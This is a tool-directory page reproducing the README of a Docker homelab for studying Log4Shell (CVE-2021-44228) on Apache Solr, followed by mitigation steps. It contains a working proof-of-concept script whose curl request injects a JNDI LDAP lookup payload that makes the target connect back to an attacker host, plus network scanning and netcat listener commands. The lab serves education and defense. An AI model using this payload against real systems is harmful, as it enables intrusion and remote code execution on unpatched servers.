Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
homelab-CVE-2021-44228 — Log4j Vulnerability homelab | Kitploit
Tools/GitHubGitHub/ricardo354/homelab-cve-2021-44228
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubricardo354/homelab-cve-2021-44228

homelab-CVE-2021-44228

Log4j Vulnerability homelab

View Repository
41 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Homelab: Log4Shell (CVE-2021-44228) on Apache Solr

Controlled Docker environment to reproduce and study the Log4Shell vulnerability in Apache Solr.

The Environment

  • Target (solr-lab): Apache Solr v8.11.0 (vulhub/solr:8.11.0) running a vulnerable version of Log4j.
  • Attacker (kali-lab): Basic Kali Linux container with nmap, curl and netcat pre-installed.

How to Bring Up the Lab

1. Start the containers

In your terminal, bring up the environment in the background:

root@kitploit:~
docker compose up -d --build

2. Enter Kali (Attacker Container)

root@kitploit:~
docker compose exec -it kali-lab /bin/bash

3. Map the internal network

Inside the Kali container, discover your own subnet and locate the Apache Solr IP:

root@kitploit:~
# 1. Check your IP and netmask
hostname -I

# 2. Scan the internal network to find the target IP (Solr port: 8983)
# (Replace the subnet below with the IP you obtained from the previous command)
nmap -p 8983 172.20.0.0/24


Running the PoC (Proof of Concept)

The poc.sh script injects the JNDI lookup payload into the Solr administration API parameter.

The Script (poc.sh)

root@kitploit:~
#!/usr/bin/env bash

if [ "$#" -lt 2 ]; then
    echo "Usage: $0 <lhost> <rhost> [lport]"
    echo "Example: $0 172.20.0.3 172.20.0.2 1389"
    exit 1
fi

KALI="$1"
TARGET="$2"
PORT_KALI="${3:-1389}"

echo "[*] Target: $TARGET"
echo "[*] Attacker (LDAP): $KALI on port $PORT_KALI"
echo "[*] Firing exploit..."

curl -g -v "http://${TARGET}:8983/solr/admin/cores?foo=\${jndi:ldap://${KALI}:${PORT_KALI}/x}"

Execution

Still inside Kali, give execution permission to the script and run it, passing the correct IPs:

root@kitploit:~
chmod +x poc.sh
./poc.sh <KALI_IP> <SOLR_IP> 1389

What happens here? Solr will process the request and attempt to open an LDAP connection back to the Kali IP on the specified port. You can monitor this connection attempt by opening a quick listener on Kali before running the script (e.g., nc -lnvp 1389).


Mitigation

To fix the flaw in Log4j 2:

  • Update: Upgrade the library to secure versions (above 2.15.0 or 2.17.1).
  • JVM Format Msg: In versions between 2.10 and 2.14.1, disable lookups by adding the flag -Dlog4j2.formatMsgNoLookups=true in the Java startup.
  • Class Removal: Manually remove the problematic class from the jar if you cannot update:
root@kitploit:~
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Download Tool